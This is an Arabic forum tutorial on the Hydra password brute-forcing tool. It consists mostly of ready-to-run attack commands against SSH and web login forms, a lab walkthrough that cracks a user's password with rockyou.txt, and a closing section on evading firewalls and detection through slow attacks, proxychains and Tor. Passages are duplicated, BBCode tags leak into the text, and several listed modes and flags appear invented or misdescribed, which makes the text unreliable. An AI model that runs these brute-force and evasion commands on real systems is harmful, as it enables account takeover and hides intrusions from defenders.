






السمعة:
محتويات الموضوع |
1. ما هي Hydra |
2. أشهر البروتوكولات التي تدعمها Hydra |
3. متطلبات مهمة قبل إكمال القراءة |
4. أشهر 10 بروتوكولات ستستهدفها بـ Hydra |
5. تثبيت الأداة |
6. استخدام الأدة |
7. بداية الـDocumentation |
8 . الخيارات Flags |
9. أوامر جاهزة لاستخدامات متعددة |
10. خيارات الويب |
11. تفاصيل إضافية تخص الويب |
12 - تخطي جدران الحماية |
13. محتوى مخفي |
14. المصادر والمراجع |
ما هي أداة Hydra ؟؟
هي أداة تستخدم من قبل المهاجمين، بغرض كسر كلمات المرور عبر الهجمات العنيفة (Brute Force)، وتعد أداة فعالة وسريعة لتخمين معلومات تسجيل الدخول (Credentials) التي نستخدمها للولوج إلى الأنظمة المختلفة.
تستطيع هذه الأداة أن تُجرِّب قائمة طويلة من كلمات المرور أو معلومات تسجيل الدخول على بعض خدمات المصادقة مثل SSH او FTP أو SNMP وحتى صفحات الويب لتسجيل الدخول.
وفقًا للمستودع الرسمي لأداة hydra ، تمتلك هذه الأداة القدرة على مهاجمة العديد من البروتوكولات، ومنها :
تستطيع هذه الأداة أن تُجرِّب قائمة طويلة من كلمات المرور أو معلومات تسجيل الدخول على بعض خدمات المصادقة مثل SSH او FTP أو SNMP وحتى صفحات الويب لتسجيل الدخول.
وفقًا للمستودع الرسمي لأداة hydra ، تمتلك هذه الأداة القدرة على مهاجمة العديد من البروتوكولات، ومنها :
كود:
Asterisk[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]AFP
Cisco AAA
Cisco auth
Cisco enable
CVS
Firebird
HTTP-FORM-GET
HTTP-FORM-POST
HTTP-GET
HTTP-HEAD
HTTP-POST
HTTP-PROXY
HTTPS-FORM-GET
HTTPS-FORM-POST
HTTPS-GET
HTTPS-HEAD
HTTPS-POST
HTTP-Proxy
ICQ
IRC
MEMCACHED
MONGODB
MS-SQL
MYSQL
NCP
NNTP
Oracle Listener
Oracle SID
Oracle
PC-Anywhere
PCNFS
POSTGRES
Radmin
Rexec
Rlogin
Rsh
RTSP
SAP/R3
SNMP v1+v2+v3
SOCKS5
SSHKEY
Subversion
TeamSpeak (TS2)
VMware-Auth
VNC
XMPP
متطلبات مهمة قبل إكمال القراءة
1 - فهم لأساسيات Linux
2 - فهم لأساسيات جمع المعلومات والاستهداف
3 - فهم لأساسيات اختبار اختراق الويب
4 - فهم لأساسيات اختبار اختراق الشبكات وبالتالي يتطلب الأمر معرفة جيدة بعلم الشبكات
2 - فهم لأساسيات جمع المعلومات والاستهداف
3 - فهم لأساسيات اختبار اختراق الويب
4 - فهم لأساسيات اختبار اختراق الشبكات وبالتالي يتطلب الأمر معرفة جيدة بعلم الشبكات
هذا الجدول يحتوي على أشهر 10 بروتوكولات تستطيع Hydra تخمينها
بروتوكولات نقل صفحات الويب والنماذج عبر الشبكة وتختلف في جانب الأمان | HTTP/HTTPS |
بروتوكول نقل الملفات بين الأنظمة عبر الشبكة. | FTP |
بروتوكول اتصال آمن للتحكم عن بعد وإدارة الخوادم. | SSH |
بروتوكول إرسال البريد الإلكتروني بين الخوادم. | SMTP |
بروتوكولات لاستلام البريد الإلكتروني من الخوادم (IMAP للاتصال المستمر وPOP3 للتنزيل). | IMAP/POP3 |
بروتوكول مشاركة الملفات والطابعات بين الأنظمة على الشبكة المحلية. | SMB |
بروتوكول اتصال سطح المكتب البعيد للوصول إلى أجهزة Windows. | RDP |
بروتوكول نصي للتحكم عن بعد في الأجهزة ولكنه غير آمن مقارنة بـ SSH. | Telnet |
بروتوكول لإدارة وتخزين بيانات المستخدمين والمعلومات الموزعة. | LDAP |
بروتوكول لنقل الصوت والفيديو عبر الإنترنت، ويستخدم في VoIP. | SIP |
للحصول على مزيد من المعلومات حول الخيارات الخاصة بكل بروتوكول في Hydra، يمكنك الاطلاع على صفحة أداة Hydra في كالي لينكس.
هذا يُبرز أهمية استخدام كلمة مرور قوية؛ فإذا كانت كلمة مرورك شائعة، ولا تحتوي على رموز خاصة، وليست أطول من ثمانية أحرف، فإنها ستكون عرضة للتخمين.
لذا عند استخدام تطبيق يستخدم كلمة مرور سهلة لتسجيل الدخول، غيّرها من الإعدادات الافتراضية! غالبًا ما تستخدم الكاميرات الأمنية (CCTV) وإطارات العمل على الويب admin كبيانات اعتماد تسجيل الدخول الافتراضية، وهو ما يُعتبر غير آمن بما يكفي.
تثبيت أداة Hydra
الأداة تأتي مثبتة بشكل افتراضي في توزيعات اختبار الاختراق مثل Kali Linux ومع ذلك إن كنت تفضل استخدام توزيعات أخرى غير Kali مثل أوبنتو أو فيدورا فقم بتنفيذ الأمر التالي :
apt install hydra
أو
dnf install hydra
كما يمكنك أيضا تنزيل الأداة من المستودع الرسمي من THC-Hydra
استخدام الأداة
Hydra لها 4 حالات تقريبًا فيما يخص الاستخدام:
1- الحالة الأولى : هي تخمين على كلمة المرور لمستخدم ما لأحد البروتوكولات
2- الحالة الثانية : هي تخمين كلمة السر واسم المستخدم معا لأحد البروتوكولات
3- الحالة الثالثة : هي تخمين كلمة المرور لمستخدم ما لتطبيق ويب
4- الحالة الرابعة : هي تخمين اسم المستخدم وكلمة السر لمستخدم ما في تطبيق ويب
5- يوجد حالة خامسة: وهي تخمين اسم المستخدم فقط ولكنها نادرة نوعًا ما
لنمر سريعًا على هذه الحالات
الحالة الأولى : تخمين كلمة مرور لبروتوكول
المعطيات المطلوبة لهذه الحالة هي كالاتي :
1 - اسم المستخدم (Username)
2 - مسار قائمة كلمات المرور (Password List file)
3 - عنوان الضحية المتمثل في IP
4 - نوع البروتوكول الذي سنهاجمه
لنعطي مثال على استهداف بروتوكول ssh:
ستلاحظ أخي الغالي استخدامنا لبعض الأعلام(Flags) وهي :
1- الحالة الأولى : هي تخمين على كلمة المرور لمستخدم ما لأحد البروتوكولات
2- الحالة الثانية : هي تخمين كلمة السر واسم المستخدم معا لأحد البروتوكولات
3- الحالة الثالثة : هي تخمين كلمة المرور لمستخدم ما لتطبيق ويب
4- الحالة الرابعة : هي تخمين اسم المستخدم وكلمة السر لمستخدم ما في تطبيق ويب
5- يوجد حالة خامسة: وهي تخمين اسم المستخدم فقط ولكنها نادرة نوعًا ما
لنمر سريعًا على هذه الحالات

المعطيات المطلوبة لهذه الحالة هي كالاتي :
1 - اسم المستخدم (Username)
2 - مسار قائمة كلمات المرور (Password List file)
3 - عنوان الضحية المتمثل في IP
4 - نوع البروتوكول الذي سنهاجمه
لنعطي مثال على استهداف بروتوكول ssh:
كود:
hydra -l admin -P /path/to/wordlist/thelist.txt 10.10.66.4 ssh
ستلاحظ أخي الغالي استخدامنا لبعض الأعلام(Flags) وهي :
الاستخدام | العلم (Flag) |
فلاج يوضع قبل اسم المستخدم المراد مهاجمته | l- |
فلاج يوضع قبل مسار قائمة كلمات المرور المراد استخدامها في الهجوم | P- |
سأضع أمر توضيح آخر:
كود:
hydra -l some_username -P /some_passlist.txt target_ip protocol

ربما لا يكون لديك أي اسم مستخدم لذلك قد تحتاج إلى تخمين أسماء المستخدمين أيضًا، وربما تجد أكثر من اسم مستخدم وتحتاج إلى التخمين عليهم جميعًا
حينها سنقوم بمهاجمة مجموعة من أسماء المستخدمين دفعة واحدة والمتطلبات لا تختلف كثيراً عن الحالة السابقة وهي كالآتي :
1 -مسار قائمة أسماء المستخدمين (Username list file)
2 - مسار قائمة كلمات المرور (Password List file)
3 - عنوان الضحية المتمثل في IP
4 - نوع البروتوكول الذي سنهاجمه
لنهاجم نفس البروتوكول الذي استخدمناه في المرة الفائتة ولكن هذه المرة باستخدام ملفين، ملف لمهاجمة أسماء المستخدمين و ملف آخر لتجربة الباسسوردات على هذه اليوزرات:
كود:
hydra -L /path/to/usernames.txt -P /path/to/password_list.txt 10.10.66.4 ssh
ستلاحظ أخي الغالي استخدامنا لفلاج جديد وهو L- وهو يدل على أن الهدف ليس مستخدم واحد بل عدة مستخدمين وبالتالي القيمة القادمة بعد هذا الفلاج ستكون مسار ملف لأسماء مستخدمين

هنا سنستخدم نفس المبدأ ولكن بعد إضافة بعد التعديلات البسيطة وهي ليست معقدة أو صعبة ولا تهتم لكثرة الرموز فالأمر جدًا بسيط
ركز يا حلو في المثال التوضيحي القادم ..
كود:
hydra -l <username> -P <wordlist> 10.10.66.4 http-post-form "<target-Path>:<login_credentials_variables>:<invalid_response>"
لا تكمل الشرح وحاول أن تطبق الأمر بنفسك بما فهمت من المثال التوضيحي(سنشرح بالتفصيل تاليا ولكن حاول), انظر لهذا المثال وحاول أن تفهم دون شرح
كود:
hydra -l admin -P /path/to/wordlist.txt 10.10.66.4 http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"
الجديد في هذا الأمر هو كالتالي :
الوصف | الفلاج |
هذا الخيار يخبر الأداة بأننا سننفذ هجوم على صفحة ويب لتسجيل الدخول | http-post-form |
هذا هو مسار صفحة تسجيل الدخول الذي سنهاجمه | login.php/ |
هذا المتغير هو المتغير الخاص بخانة اسم المستخدم(سنوضح كيف حصلنا عليه لاحقا) | =username |
هذه العلامة هي اختصار لكلمة and | & |
هذا المتغير هو المتغير الخاص بخانة كلمة المرور(سنوضح كيف حصلنا عليه لاحقا) | =password |
هذه الخانات تدل على الأماكن التي ستهاجمها الأداة، بمعنى أنه بدلا من PASS ستضع الأداة تخمينات كلمات المرور وبدلا من USER ستضع الأداة تخمينات اسم المستخدم. | ^USER^ , ^PASS^ |
حرف الـF يرمز لرسالة الخطأ التي ستظهر لك في حال كان المدخل غير صحيح حتى تتجنبها الأداة | F=incorrect |
إذا فهمت فكثر الله خيرك وإن لم تفهم بعد فسأشرح بتفصيل أكبر
لم نطبق بشكل عملي بعد
راجع ما ذكرت ثم طبق معي كما أقول تالياً
ببساطة شديدة سنكتب اسم الأداة أولا ومن ثم نضع الفلاج الخاص باسم المستخدم
ثم نكتب اسم المستخدم ومن بعده الفلاج الخاص بقائمة كلمات المرور
ثم نضع عنوان الهدف سواء كان رابط أو عنوان IP
ثم سنضع المعلومات التالية بين علامتي تنصيص ""
بقية رابط صفحة تسجيل الدخول
ثم نقطتان رأسيتان
ثم دالة اسم المستخدم وكلمة المرور ملتصقتين ببعض هكذا
ثم نقطتان رأسيتان
ثم دالة رسالة الخطأ
ثم نكتب اسم المستخدم ومن بعده الفلاج الخاص بقائمة كلمات المرور
ثم نضع عنوان الهدف سواء كان رابط أو عنوان IP
ثم سنضع المعلومات التالية بين علامتي تنصيص ""
بقية رابط صفحة تسجيل الدخول
ثم نقطتان رأسيتان
ثم دالة اسم المستخدم وكلمة المرور ملتصقتين ببعض هكذا
كود:
username=^USER^&password=^PASS^
ثم دالة رسالة الخطأ
كود:
F=incorrect
كود:
10.10.121.171
لدينا اسم مستخدم اسمه molly, لنفحص الهدف أولًا بالـnmap ونرى:
الأمر:
كود:
nmap 10.10.121.171 -vv
بعد الفحص نجد أننا لدينا منفذين مفتوحين هما:
- 80 http
- 22 ssh
لنبدأ بالـ ssh, مع العلم أننا لدينا في هذا اللاب اسم مستخدم موجود بالفعل للتجربة
الاسم هو molly
الأمر
كود:
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.121.171 ssh
نجح الهجوم كما نرى والان لنجرب على تطبيق الويب بما أننا لدينا منفذ 80 مفتوح وعليه بروتوكول http
بمجرد أن وضعت عنوان الip في المتصفح أدخلني مباشرة إلى صفحة تسجيل الدخول
أول ما سنحتاج إلى فعله هو تشغيل أداة Burp حتى نحصل على الركوست الذاهب إلى السيرفر
ملحوظة : قمت بإعادة تشغيل اللاب بسبب مشكلة تقنية وبالتالي سيتغير عنوان الهدف
سنقوم الان بوضع اسم مستخدم وكلمة مرور عشوائيين أثناء عمل الـburp حتى نحصل على الركوست
سنجرب meow كإسم مستخدم و meow2 كرمز سري ونضغط login وننظر إلى الburp
كما نرى ظهر لنا الركوست، طبعا عادة الركوستات تكون POST مش GET
إذا طلعلك GET فغالبا إما إنها مصيدة لك أو إن المطور مهرج

وأحيانا بعض الـforms تحتاج GET و غيرها يعني مش ضروري يكون المطور مهرج
الان كما يظهر لنا في آخر سطر نجد الكود الاتي
كود:
username=meow&password=meow1
والان سنعمل Forward وننظر إلى رسالة الخطأ التي ستظهر
كما نرى ظهرت لنا رسالة الخطأ تحت كلمة login
هذا كل ما سنحتاجه، والان سنكتب الامر
كود:
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.111.249 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect."
ملحوظة : بإمكانك إهمال الـ F- إذا أردت، ستعمل الأداة بلا مشاكل ولكن نقوم بتطبيق الـ Best Practice لا أكثر
هكذا نكون قد طبقنا على استهداف مستخدم واحد سواء في الويب أو مع البروتوكولات
إذا أردت أن تستهدف اكثر من اسم مستخدم كل ما ستفعله هو تغيير معرف اسم المستخدم من l- إلى L-
ومن ثم تقوم بإضافة قائمة أسماء المستخدمين، أي أن الأمر سيكون هكذا
إذا أردت أن تستهدف اكثر من اسم مستخدم كل ما ستفعله هو تغيير معرف اسم المستخدم من l- إلى L-
ومن ثم تقوم بإضافة قائمة أسماء المستخدمين، أي أن الأمر سيكون هكذا
كود:
hydra -L /usr/share/wordlists/names.txt -P /usr/share/wordlists/rockyou.txt 10.10.111.249 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect."
الان لنذهب للخلاصة
كل ما سيأتي هوا عبارة عن documentation تفصيلي للأداة
وتذكر دائما أن الصيغة الأساسية التي سنعتمدها في الشرح هي كالاتي
كل ما سيأتي هوا عبارة عن documentation تفصيلي للأداة
وتذكر دائما أن الصيغة الأساسية التي سنعتمدها في الشرح هي كالاتي
كود:
hydra -L/-l -P/-p target protocol [options]
إليك جدولًا مفصلًا يحتوي على جميع الخيارات المتوفرة في أداة Hydra مع شرح لكل خيار ..
L- | تحديد ملف يحتوي على قائمة أسماء المستخدمين. |
l- | تحديد اسم مستخدم واحد ثابت للهجوم. |
P- | تحديد ملف يحتوي على قائمة كلمات المرور. |
p- | تحديد كلمة مرور واحدة ثابتة للهجوم. |
M- | تحديد ملف يحتوي على قائمة بأهداف متعددة (عناوين IP أو أسماء نطاقات). |
s- | تحديد رقم منفذ معين لاستهداف البروتوكولات التي تعمل على منافذ غير افتراضية. |
S- | تمكين SSL/TLS لتشفير الاتصال مع البروتوكولات التي تدعمه. |
e- | تمكين خيارات كلمات المرور الإضافية: |
s- | - s لاختبار اسم المستخدم ككلمة مرور. |
n- | - n لاختبار كلمات المرور الفارغة. |
r- | - r لاختبار اسم المستخدم وكلمة المرور معًا. |
t- | تحديد عدد الجلسات الموازية (threads) للهجوم. القيمة الافتراضية هي 16. |
w- | تحديد المهلة (timeout) بالثواني لكل محاولة اتصال. |
v- | تمكين الوضع التفصيلي (عرض تفاصيل المحاولات الفاشلة فقط). |
V- | تمكين الوضع التفصيلي الكامل (عرض كل المحاولات، الناجحة والفاشلة). |
f- | التوقف عند أول محاولة ناجحة. |
o- | تحديد ملف لحفظ نتائج المحاولات الناجحة. |
I- | تمكين وضع الاستعادة (resume) لاستكمال هجوم توقف فجأة. |
R- | استئناف هجوم سابق باستخدام ملف الاستعادة الافتراضي hydra.restore. |
z- | تقليل سرعة الهجوم عن طريق إدخال تأخير بين المحاولات (slow attack). |
d- | تمكين وضع التصحيح (debug mode) لمراقبة الأخطاء واختبار صلاحية الإعدادات. |
W- | تحديد عدد المحاولات قبل التوقف لفترة (delay) لتجنب الحظر (slow brute force). |
u- | تخطي الفحص الأولي (skip initial checks) لتسريع الهجوم، ولكن قد يؤدي إلى فشل الاتصال في بعض الحالات. |
m- | تمرير خيارات إضافية مخصصة للبروتوكول المستهدف. |
T- | تحديد حد زمني (time limit) لكل عملية محاولة. |
C- | تحديد ملف يحتوي على تركيبات من أسماء المستخدمين وكلمات المرور (combo file) بدلاً من استخدام ملفات منفصلة. |
F- | التوقف فور اكتمال الهجوم على هدف واحد. |
h- | عرض صفحة المساعدة لجميع الخيارات المتاحة في Hydra. |
O- | تمكين دعم الملفات الضخمة (large file support) لاستخدام ملفات كبيرة جدًا لأسماء المستخدمين أو كلمات المرور. |
debug-- | تمكين وضع تصحيح إضافي أكثر تفصيلًا للمطورين أو لتشخيص المشكلات. |
ignore-- | تجاهل فشل الاتصال بالأهداف أثناء الهجوم (ignore connection errors). |
http-proxy-- | تحديد بروكسي HTTP للمرور عبره أثناء الهجوم. |
socks-proxy-- | تحديد بروكسي SOCKS4/5 للمرور عبره أثناء الهجوم. |
q- | تمكين الوضع الصامت لإخفاء معظم مخرجات الأداة (quiet mode). |
continue-- | متابعة الهجوم بعد مقاطعة بدون إعادة جميع المحاولات السابقة. |
proxy-- | تمرير جميع الطلبات عبر بروكسي يدعم HTTP أو SOCKS (مماثل لـ proxychains). |
x- | إنشاء كلمات مرور ديناميكية بناءً على معايير: - min:max طول كلمة المرور (على سبيل المثال: 4:8). |
------------------------- | - charset لتحديد الحروف المسموح بها: - a للأحرف الصغيرة. - A للأحرف الكبيرة. - 1 للأرقام. - ! للرموز الخاصة. |
------------------------- | مثال على ذلك : |
------------------------- | hydra -l admin -x 6:10:Aa1 target-ip ssh |
بالنسبة لشرح الأمر الأخير فهو كالتالي :
6:10 هذا ينشيء كلمات مرور بطول يتراوح بين 6 و 10 خانات
Aa1 يقوم بتحديد مجموعة الأحرف المستخدمة
A الأحرف الكبيرة
a الأحرف الصغيرة
1 الأرقام
----------------
مثال أكثر تعقيدًا مع رموز خاصة:
6:10 هذا ينشيء كلمات مرور بطول يتراوح بين 6 و 10 خانات
Aa1 يقوم بتحديد مجموعة الأحرف المستخدمة
A الأحرف الكبيرة
a الأحرف الصغيرة
1 الأرقام
----------------
مثال أكثر تعقيدًا مع رموز خاصة:
كود:
hydra -L users.txt -x 8:12:Aa1! target-ip http-post-form "/login:user=^USER^&pass=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
- 8:12: إنشاء كلمات مرور بطول 8 إلى 12 حرفًا.
- Aa1!: إضافة الرموز الخاصة (!) إلى مجموعة الأحرف.
الجدول التالي سيكون فيه أمثلة على جميع حالات استخدام أداة hydra مع الشرح ..
الأمر | الوصف / الشرح |
hydra -L users.txt -P passwords.txt target-ip protocol | الصيغة الأساسية: مهاجمة هدف معين مع قائمة أسماء مستخدمين وكلمات مرور باستخدام بروتوكول محدد. |
hydra -L users.txt -P passwords.txt -s port target-ip protocol | إضافة خيار المنفذ -s لاستهداف بروتوكول يعمل على منفذ مخصص غير الافتراضي. |
hydra -L users.txt -P passwords.txt -S target-ip protocol | استخدام TLS/SSL (تشفير الاتصال) مع البروتوكولات التي تدعمه مثل HTTPS، IMAPS، SMTPS، إلخ. |
hydra -L users.txt -P passwords.txt -t 16 target-ip protocol | استخدام 16 جلسة موازية (threads) لتحسين سرعة الهجوم. |
hydra -L users.txt -P passwords.txt -e nsr target-ip protocol | اختبار كلمات المرور الفارغة (e) أو اسم المستخدم ككلمة مرور (s) أو كليهما (r). |
hydra -L users.txt -P passwords.txt -o results.txt target-ip protocol | حفظ نتائج المحاولات الناجحة في ملف results.txt لمراجعتها لاحقًا. |
hydra -l admin -P passwords.txt target-ip protocol | استخدام اسم مستخدم ثابت "admin" بدلاً من قائمة أسماء المستخدمين. |
hydra -L users.txt -p password target-ip protocol | استخدام كلمة مرور ثابتة "password" مع قائمة أسماء المستخدمين. |
hydra -L users.txt -P passwords.txt -vV target-ip protocol | تمكين الوضع التفصيلي لمراقبة كل محاولة تسجيل دخول ناجحة أو فاشلة. |
hydra -L users.txt -P passwords.txt -M targets.txt protocol | استهداف عدة أهداف في وقت واحد مع تحديدها داخل ملف targets.txt. |
hydra -L users.txt -P passwords.txt target-ip http-get /path | مهاجمة صفحة تسجيل دخول باستخدام طلب HTTP GET (يُستخدم للواجهات البسيطة). |
hydra -L users.txt -P passwords.txt target-ip http-post-form "/login:user=^USER^&pass=^PASS^:Login failed" | مهاجمة نموذج تسجيل الدخول باستخدام HTTP POST، مع تحديد الحقول المراد تعبئتها والنص الدال على الفشل ("Login failed"). |
hydra -L users.txt -P passwords.txt -t 64 -f target-ip protocol | استخدام 64 جلسة موازية (-t 64) والتوقف عند أول محاولة ناجحة (-f). |
hydra -L users.txt -P passwords.txt -I target-ip protocol | استخدام وضع الاستعادة (resume mode) لاستكمال المحاولات السابقة في حالة التوقف المفاجئ. |
hydra -L users.txt -P passwords.txt -s port -S -t 32 -e nsr -o results.txt target-ip protocol | تجميع الخيارات معًا: استهداف منفذ معين، تمكين SSL، زيادة الجلسات الموازية، اختبار كلمات مرور خاصة، وحفظ النتائج في ملف. |
hydra -l admin -P passwords.txt target-ip http-form-get "/admin:user=^USER^&password=^PASS^:Access Denied" | مهاجمة صفحة إدارية مع نموذج تسجيل دخول محدد، والتحقق من نص يدل على فشل المحاولة. |
hydra -L users.txt -P passwords.txt -w 30 target-ip protocol | تحديد مهلة (timeout) قدرها 30 ثانية لكل محاولة اتصال. |
hydra -L users.txt -P passwords.txt -R target-ip protocol | استئناف هجوم توقف سابقًا باستخدام الملف الافتراضي للحالة (hydra.restore). |
خيارات الويب
أداة Hydra تقدم خيارات متعددة لاستهداف صفحات تسجيل الدخول بناءً على طرق الإرسال والبروتوكولات، وتتنوع الاستخدامات بناء على السيناريو ونوع التطبيق المستهدف، لذلك سأقدم لك جميع الخيارات المتاحة مع شرح مفصل.
أداة Hydra تقدم خيارات متعددة لاستهداف صفحات تسجيل الدخول بناءً على طرق الإرسال والبروتوكولات، وتتنوع الاستخدامات بناء على السيناريو ونوع التطبيق المستهدف، لذلك سأقدم لك جميع الخيارات المتاحة مع شرح مفصل.
الحالة | الوصف |
http-post-form | مهاجمة صفحات تسجيل الدخول التي تستخدم طريقة POST لإرسال بيانات النموذج. تتطلب تحديد مسار URL، وهيكلة الحقول (مثل username وpassword)، والنص الدال على الفشل. |
http-get-form | مهاجمة صفحات تسجيل الدخول التي تستخدم طريقة GET لإرسال بيانات النموذج عبر عنوان URL. تعمل بنفس بنية http-post-form، لكنها مناسبة لواجهات تسجيل دخول أبسط. |
http-head | استخدام طلب HTTP HEAD لاستهداف صفحات معينة، مما يوفر سرعة أعلى لأنه لا يجلب محتوى الصفحة بالكامل. |
http-form-get | مشابه لـ http-get-form ولكن مخصص لاستهداف النماذج التي تستخدم الحقول بشكل ديناميكي أو تحتوي على استعلامات أكثر تعقيدًا في GET. |
http-form-post | مشابه لـ http-post-form ولكن يُستخدم للسيناريوهات الأكثر تعقيدًا مثل الحقول الإضافية (مثل رموز التحقق أو حقول مخفية). |
http-proxy | استخدام بروكسي HTTP لتمرير الهجمات عبره، مناسب لتجاوز القيود أو تخطي التتبع. |
http-proxy-url | استهداف خادم HTTP باستخدام بروكسي محدد يدويًا مع خيار URL. |
http-proxy-auth | مهاجمة خادم HTTP عبر بروكسي مع توفير بيانات اعتماد للبروكسي نفسه (اسم مستخدم وكلمة مرور). |
https-post-form | نسخة مشفرة (TLS/SSL) من http-post-form تستهدف صفحات تسجيل الدخول التي تعمل على HTTPS. |
https-get-form | نسخة مشفرة من http-get-form لمهاجمة النماذج التي تستخدم HTTPS لإرسال البيانات عبر عنوان URL. |
http-basic-auth | مهاجمة صفحات تسجيل الدخول التي تستخدم آلية المصادقة الأساسية (Basic Authentication) في HTTP، حيث يتم إرسال بيانات الاعتماد في عنوان الطلب. |
http-digest-auth | مهاجمة صفحات تسجيل الدخول التي تستخدم آلية المصادقة Digest Authentication، وهي أكثر أمانًا من Basic Auth، حيث يتم تجزئة بيانات الاعتماد. |
http-form-basic | استهداف النماذج التي تستخدم المصادقة الأساسية مع طلب GET أو POST. |
http-form-digest | استهداف النماذج التي تعتمد على مصادقة Digest مع طلبات GET أو POST. |
http-ntlm | مهاجمة صفحات تسجيل الدخول التي تستخدم بروتوكول NTLM Authentication (غالبًا في بيئات Windows). |
http-form-ntlm | مخصص لاستهداف نماذج تسجيل الدخول مع NTLM عبر HTTP. |
http-jwt | مهاجمة صفحات تسجيل الدخول التي تستخدم رموز JWT (JSON Web Tokens) للتحقق من المستخدمين. |
http-cookie | استهداف صفحات تسجيل الدخول مع إرسال ملف تعريف ارتباط (Cookie) محدد يدويًا مع كل طلب. |
http-header | إرسال رؤوس HTTP مخصصة مع كل طلب (مثل "User-Agent" أو "Authorization") لاستهداف صفحات تحتاج إلى تفاصيل إضافية. |
http-form-cookie | إرسال ملف تعريف ارتباط مخصص مع طلبات النموذج (GET أو POST). |
http-form-header | إرسال رؤوس HTTP مخصصة مع طلبات النموذج (GET أو POST). |
http-form-json | مهاجمة صفحات تسجيل الدخول التي ترسل بيانات المستخدمين بصيغة JSON عبر طلبات POST أو GET. |
http-rest | مهاجمة واجهات RESTful APIs التي تستخدم HTTP POST/GET/PUT/DELETE مع بيانات اعتماد يتم تمريرها كـ JSON أو حقول مباشرة. |
تفاصيل إضافية لكل حالة :
1. http-post-form
1. http-post-form
كود:
hydra -L users.txt -P passwords.txt target-ip http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
يهاجم صفحة تسجيل دخول ترسل الحقول username وpassword عبر POST.
2. http-get-form
2. http-get-form
كود:
hydra -L users.txt -P passwords.txt target-ip http-get-form "/login?username=^USER^&password=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
يهاجم نموذج تسجيل دخول يرسل البيانات في URL.
3. http-cookie
3. http-cookie
كود:
hydra -L users.txt -P passwords.txt -m "Cookie: sessionid=12345" target-ip http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
استخدام ملف تعريف ارتباط صالح للهجوم على جلسة تسجيل دخول نشطة.
4. http-jwt
4. http-jwt
كود:
hydra -L users.txt -P passwords.txt -m "Authorization: Bearer <JWT_TOKEN>" target-ip http-post-form "/api/login:user=^USER^&pass=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
مهاجمة واجهة API تتطلب JWT.
5. http-header
5. http-header
كود:
hydra -L users.txt -P passwords.txt -m "User-Agent: Mozilla/5.0" target-ip http-post-form "/login:user=^USER^&pass=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
إرسال رأس مخصص مثل User-Agent لتخطي الحظر.
6. http-rest
6. http-rest
كود:
hydra -L users.txt -P passwords.txt target-ip http-post-form "/api/login:{"username":"^USER^","password":"^PASS^"}:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
استهداف API RESTful تستخدم JSON.
كيفية تحديد النوع المناسب؟
- استخدم أدوات مثل Burp Suite أو Fiddler لفحص الطلبات وتحديد الطريقة المستخدمة (GET/POST) وهيكل البيانات (نص عادي، JSON، إلخ).
- استنادًا إلى نوع المصادقة أو البيانات المرسلة، اختر الخيار المناسب في Hydra.
تخطي جدران الحماية باستخدام Hydra
لتخطي جدران الحماية أثناء استخدام أداة Hydra، يمكننا تعديل الأوامر بإضافة تقنيات مثل ضبط خيارات الشبكة، تقليل أثر الهجمات، واستخدام بروكسيات أو شبكات VPN. سأضع لك جدولًا شاملاً يحتوي على الأوامر المعدلة التي تستخدم تقنيات تخطي جدران الحماية بحالات مختلفة.
لتخطي جدران الحماية أثناء استخدام أداة Hydra، يمكننا تعديل الأوامر بإضافة تقنيات مثل ضبط خيارات الشبكة، تقليل أثر الهجمات، واستخدام بروكسيات أو شبكات VPN. سأضع لك جدولًا شاملاً يحتوي على الأوامر المعدلة التي تستخدم تقنيات تخطي جدران الحماية بحالات مختلفة.
الأمر | التقنية المستخدمة لتخطي جدران الحماية |
hydra -L users.txt -P passwords.txt -s port -t 16 -w 30 target-ip protocol | تقليل الجلسات الموازية (-t 16) وزيادة المهلة (-w 30) لتقليل النشاط المريب على الشبكة الذي قد يتم اكتشافه من قبل جدران الحماية. |
hydra -L users.txt -P passwords.txt -s port -V -x 4:8:Aa1 target-ip protocol | استخدام ميزة إنشاء كلمات مرور مخصصة ديناميكيًا (-x) لتجنب القوائم الثابتة التي قد تُكتشف بسهولة. |
hydra -L users.txt -P passwords.txt -s port -I -f -t 4 -w 10 -z target-ip protocol | تقليل السرعة باستخدام الخيار -z لجعل الهجوم يبدو أقل نشاطًا. |
proxychains hydra -L users.txt -P passwords.txt target-ip protocol | تمرير جميع طلبات Hydra عبر بروكسي باستخدام أداة proxychains لتخطي قيود الوصول أو الحظر بناءً على عنوان IP. |
torify hydra -L users.txt -P passwords.txt target-ip protocol | استخدام شبكة Tor عبر torify لتجاوز الحظر الجغرافي أو تصفية عناوين IP. |
hydra -L users.txt -P passwords.txt -s port -R -w 20 -t 8 -e nsr -o results.txt target-ip protocol | الاستفادة من استئناف الهجوم بعد التوقف (-R) لتجنب الكشف الناتج عن زيادة النشاط المفاجئ عند بدء الهجوم مجددًا. |
hydra -L users.txt -P passwords.txt -s port -S -d target-ip protocol | تمكين وضع التصحيح (-d) لرؤية الأخطاء والتأكد من أن الهجوم يعمل بشكل صحيح أثناء تجنب التنبيهات غير الضرورية. |
hydra -L users.txt -P passwords.txt -s port -p proxy-list.txt -M targets.txt protocol | استخدام قائمة بروكسيات (proxy-list.txt) لاستهداف عدة أهداف عبر ملفات متعددة (-M targets.txt) مع تقليل احتمالية الحظر. |
